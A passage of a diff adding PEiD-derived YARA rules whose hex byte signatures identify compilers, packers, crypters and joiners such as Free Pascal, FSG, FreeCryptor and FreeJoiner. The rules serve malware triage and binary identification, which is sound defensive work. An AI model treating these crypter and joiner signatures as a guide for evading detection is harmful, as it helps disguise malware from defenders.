+        $a = {53 56 57 55 BB 2C ?? ?? 44 BE 00 30 44 44 BF 20 ?? ?? 44 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 44 44 00 74 06 FF 15 58 30 44 44 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 20 30 44 44 80 7B 28 01 76 05 83 3E 00 74 22 8B 43 10 85 C0 74 1B FF 15 18 30 44 44 8B 53 10 8B 42 10 3B 42 04 74 0A 85 C0 74 06 50 E8 2F FA FF FF FF 15 24 30 44 44 80 7B 28 01 75 03 FF 53 24 80 7B 28 00 74 05 E8 35 FF FF FF 83 3B 00 75 17 83 3D 10 ?? ?? 44 00 74 06 FF 15 10 ?? ?? 44 8B 06 50 E8 51 FA FF FF 8B 03 56 8B F0 8B FB B9 0B 00 00 00 F3 A5 5E E9 73 FF FF FF 5D 5F 5E 5B C3 A3 00 30 44 44 E8 26 FF FF FF C3}
+    condition:
+        $a
+}
+
+rule PEiD_00727_Fly_Crypter_1_0____ut1lz_
+{
+    meta:
+        description = "[Fly-Crypter 1.0 -> ut1lz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 18 22 44 44 E8 7F F7 FF FF E8 0A F1 FF FF B8 09 00 00 00 E8 5C F1 FF FF 8B D8 85 DB 75 05 E8 85 FD FF FF 83 FB 01 75 05 E8 7B FD FF FF 83 FB 02 75 05 E8 D1 FD FF FF 83 FB 03 75 05 E8 87 FE FF FF 83 FB 04 75 05 E8 5D FD FF FF 83 FB 05 75 05 E8 B3 FD FF FF 83 FB 06 75 05 E8 69 FE FF FF 83 FB 07 75 05 E8 5F FE FF FF 83 FB 08 75 05 E8 95 FD FF FF 83 FB 09 75 05 E8 4B FE FF FF 5B E8 9D F2 FF FF 90}
+    condition:
+        $a
+}
+
+rule PEiD_00728_Free_Pascal_0_99_10_
+{
+    meta:
+        description = "[Free Pascal 0.99.10]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29}
+    condition:
+        $a
+}
+
+rule PEiD_00729_Free_Pascal_1_06_
+{
+    meta:
+        description = "[Free Pascal 1.06]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? 40 00 ?? E8 ?? ?? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00730_Free_Pascal_v0_99_10_
+{
+    meta:
+        description = "[Free Pascal v0.99.10]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29}
+    condition:
+        $a
+}
+
+rule PEiD_00731_Free_Pascal_v1_0_10__win32_console__
+{
+    meta:
+        description = "[Free Pascal v1.0.10 (win32 console)]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? ?? 00 01 E8 ?? ?? 00 00 C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5 ?? EC}
+    condition:
+        $a
+}
+
+rule PEiD_00732_Free_Pascal_v1_0_10__win32_GUI__
+{
+    meta:
+        description = "[Free Pascal v1.0.10 (win32 GUI)]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5}
+    condition:
+        $a
+}
+
+rule PEiD_00733_FreeBASIC_0_16b_
+{
+    meta:
+        description = "[FreeBASIC 0.16b]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 88 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 68 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D}
+    condition:
+        $a
+}
+
+rule PEiD_00734_FreeBASIC_0_16b_
+{
+    meta:
+        description = "[FreeBASIC 0.16b]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 88 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 68 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_00735_FreeBASIC_v0_11_
+{
+    meta:
+        description = "[FreeBASIC v0.11]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 00 00 E8 01 00 00 00 C3 55 89 E5}
+    condition:
+        $a
+}
+
+rule PEiD_00736_FreeCryptor_0_1__build_001____GlOFF_
+{
+    meta:
+        description = "[FreeCryptor 0.1 (build 001)-> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 68 26 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+    condition:
+        $a
+}
+rule PEiD_00737_FreeCryptor_0_1__build_002_____GlOFF_
+{
+    meta:
+        description = "[FreeCryptor 0.1 (build 002) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 90 68 27 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+    condition:
+        $a
+}
+
+rule PEiD_00738_FreeCryptor_0_2__build_002_____GlOFF_
+{
+    meta:
+        description = "[FreeCryptor 0.2 (build 002) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {33 D2 90 1E 68 1B ?? ?? ?? 0F A0 1F 8B 02 90 50 54 8F 02 90 90 8E 64 24 08 FF E2 58 50 33 D2 52 83 F8 01 9B 40 8A 10 89 14 24 90 D9 04 24 90 D9 FA D9 5C 24 FC 8B 5C 24 FC 81 F3 C2 FC 1D 1C 75 E3 74 01 62 FF D0 90 5A 33 C0 8B 54 24 08 90 64 8F 00 90 83 C2 08 52 5C 5A}
+    condition:
+        $a
+}
+
+rule PEiD_00739_FreeJoiner_1_5_1____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.1 -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {90 87 FF 90 90 B9 2B 00 00 00 BA 07 10 40 00 83 C2 03 90 87 FF 90 90 B9 04 00 00 00 90 87 FF 90 33 C9 C7 05 09 30 40 00 00 00 00 00 68 00 01 00 00 68 21 30 40 00 6A 00 E8 B7 02 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 21 30 40 00 E8 8F 02 00 00 A3 19 30 40 00 90 87 FF 90 8B 15 09 30 40 00 81 C2 04 01 00 00 F7 DA 6A 02 6A 00 52}
+    condition:
+        $a
+}
+
+rule PEiD_00740_FreeJoiner_1_5_2__Stub_engine_1_6_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.2 (Stub engine 1.6) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 46 FD FF FF 50 E8 0C 00 00 00 FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00741_FreeJoiner_1_5_3__Stub_engine_1_7_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.3 (Stub engine 1.7) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 33 FD FF FF 50 E8 0D 00 00 00 CC FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+    condition:
+        $a
+}
+rule PEiD_00742_FreeJoiner_1_5_3__Stub_engine_1_7_1_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.3 (Stub engine 1.7.1) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {86 D6 90 86 F2 B9 93 60 08 FE 90 86 D6 90 86 F2 B9 9D 13 45 01 86 D6 90 86 F2 81 C2 93 60 08 FE 33 C9 B9 30 74 4D FF 86 D6 90 86 F2 33 C9 C7 05 B4 17 40 00 00 00 00 00 90 68 00 01 00 00 68 D1 17 40 00 6A 00 E8 CE 02 00 00 90 33 C9 86 D6 90 86 F2 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 D1 17 40 00 E8 9E 02 00 00 A3 CD 17 40 00 86 D6}
+    condition:
+        $a
+}
+
+rule PEiD_00743_FreeJoiner_1_5_3__Stub_engine_1_7_1_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.3 (Stub engine 1.7.1) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 02 FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A8 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00744_FreeJoiner_Small__build_014_020_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 014-020) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00745_FreeJoiner_Small__build_014_015_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 014/015) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F0 86 FF 68 00 01 00 00 68 F8 13 40 00 6A 00 E8 F3 01 00 00 8A C0 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 F8 13 40 00 E8 C9 01 00 00 A3 E0 13 40 00 40 0F 84 8B 01 00 00 90 90 90 90 90 6A 02 6A 00 6A FB FF 35 E0 13 40 00 E8 D1 01 00 00 86 FF 6A 00 8D 45 FC 50 6A 04 8D 45 F8 50 FF 35 E0 13 40 00 E8 B2 01 00 00 8A C0 6A 00 8D 45 FC 50 6A 01 8D 45 F3 50}
+    condition:
+        $a
+}
+rule PEiD_00746_FreeJoiner_Small__build_014_015_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 014/015) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E FE FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00747_FreeJoiner_Small__build_017_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 017) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F0 86 FF 86 DB 86 FF 68 00 01 00 00 68 18 20 40 00 6A 00 E8 FF 01 00 00 8A E4 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 18 20 40 00 E8 D5 01 00 00 A3 00 20 40 00 40 0F 84 97 01 00 00 8A E4 6A 02 6A 00 6A FB FF 35 00 20 40 00 E8 E0 01 00 00 86 FF 86 DB 86 FF 6A 00 8D 45 FC 50 6A 04 8D 45 F8 50 FF 35 00 20 40 00 E8 BD 01 00 00 8A E4 6A 00 8D 45 FC 50 6A 01 8D 45 F3 50}
+    condition:
+        $a
+}
+
+rule PEiD_00748_FreeJoiner_Small__build_017_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 017) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 FE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00749_FreeJoiner_Small__build_023_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 023) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 E1 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+rule PEiD_00750_FreeJoiner_Small__build_029_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 029) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {50 32 C4 8A C3 58 E8 DE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00751_FreeJoiner_Small__build_031_032_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 031/032) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {50 32 ?? 66 8B C3 58 E8 ?? FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00752_FreeJoiner_Small__build_033_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 033) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {50 66 33 C3 66 8B C1 58 E8 AC FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00753_FreeJoiner_Small__build_035_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 035) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {51 33 CB 86 C9 59 E8 9E FD FF FF 66 87 DB 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00754_FreePascal_1_0_4_Win32_____Berczi_Gabor__Pierre_Muller___Peter_Vreman__
+{
+    meta:
+        description = "[FreePascal 1.0.4 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 C6 05 ?? ?? ?? ?? 00 E8 ?? ?? ?? ?? 55 31 ED 89 E0 A3 ?? ?? ?? ?? 66 8C D5 89 2D ?? ?? ?? ?? DB E3 D9 2D ?? ?? ?? ?? 31 ED E8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00755_FreePascal_1_0_4_Win32_DLL_____Berczi_Gabor__Pierre_Muller___Peter_Vreman__
+{
+    meta:
+        description = "[FreePascal 1.0.4 Win32 DLL -> (Berczi Gabor, Pierre Muller & Peter Vreman)]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? ?? ?? 00 55 89 E5 53 56 57 8B 7D 08 89 3D ?? ?? ?? ?? 8B 7D 0C 89 3D ?? ?? ?? ?? 8B 7D 10 89 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 5B 5D C2 0C 00}
+    condition:
+        $a
+}
+rule PEiD_00757_FreePascal_2_0_0_Win32_____B_rczi_G_bor__Pierre_Muller___Peter_Vreman__
+{
+    meta:
+        description = "[FreePascal 2.0.0 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 00 80 40 00 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00 00 E8 C5 01 00 00 89 D8 E8 3E 02 00 00 E8 B9 01 00 00 E8 54 02 00 00 8B 5D FC C9 C3 8D 76 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 E5 C6 05 10 80 40 00 00 E8 D1 03 00 00 6A 00 64 FF 35 00 00 00 00 89 E0 A3 ?? 70 40 00 55 31 ED 89 E0 A3 20 80 40 00 66 8C D5 89 2D 30 80 40 00 E8 B9 03 00 00 31 ED E8 72 FF FF FF 5D E8 BC 03 00 00 C9 C3 00 00 00 00 00 00 00 00 00 00 55 89 E5 83 EC 08 E8 15 04 00 00 A1 ?? 70 40 00 89 45 F8 B8 01 00 00 00 89 45 FC 3B 45 F8 7F 2A FF 4D FC 90 FF 45 FC 8B 45 FC 83 3C C5 ?? 70 40 00 00 74 09 8B 04 C5 ?? 70 40}
+    condition:
+        $a
+}
+rule PEiD_00758_FreePascal_2_0_0_Win32_
+{
+    meta:
+        description = "[FreePascal 2.0.0 Win32]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 00 80 40 00 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00}
+    condition:
+        $a
+}
+
+rule PEiD_00759_FreePascal_2_0_0_Win32_
+{
+    meta:
+        description = "[FreePascal 2.0.0 Win32]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 ?? ?? ?? ?? 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00}
+    condition:
+        $a
+}
+
+rule PEiD_00760_Freshbind_v2_0____gFresh_
+{
+    meta:
+        description = "[Freshbind v2.0 -> gFresh]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 89 E5 6A FF 68 1C A0 41 00}
+    condition:
+        $a
+}
+
+rule PEiD_00761_from_NORMAN_Anti_Virus_Utilites_
+{
+    meta:
+        description = "[from NORMAN Anti-Virus Utilites]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5B 52 45 2F 4E 44 44 53 5D 0D 0A}
+    condition:
+        $a
+}
+
+rule PEiD_00762_Frusion____biff_
+{
+    meta:
+        description = "[Frusion -> biff]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 68 04 01 00 00 C7 44 24 14}
+    condition:
+        $a
+}
+
+rule PEiD_00763_FSG_1_00__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.00 (Eng) -> dulek/xt]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38}
+    condition:
+        $a
+}
+rule PEiD_00764_FSG_1_10__Eng_____bart_xt_
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+    condition:
+        $a
+}
+
+rule PEiD_00765_FSG_1_10__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA}
+    condition:
+        $a
+}
+
+rule PEiD_00766_FSG_1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80}
+    condition:
+        $a
+}
+rule PEiD_00767_FSG_1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13}
+    condition:
+        $a
+}
+
+rule PEiD_00768_FSG_1_10__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB}
+    condition:
+        $a
+}
+
+rule PEiD_00769_FSG_1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE}
+    condition:
+        $a
+}
+
+rule PEiD_00770_FSG_1_20__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "false"
+    strings:
+        $a = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6}
+    condition:
+        $a
+}
+
+rule PEiD_00771_FSG_1_20__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "false"
+    strings:
+        $a = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB}
+    condition:
+        $a
+}
+rule PEiD_00772_FSG_1_20__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "false"
+    strings:
+        $a = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_00773_FSG_1_20__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "false"
+    strings:
+        $a = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE}
+    condition:
+        $a
+}
+
+rule PEiD_00774_FSG_1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "false"
+    strings:
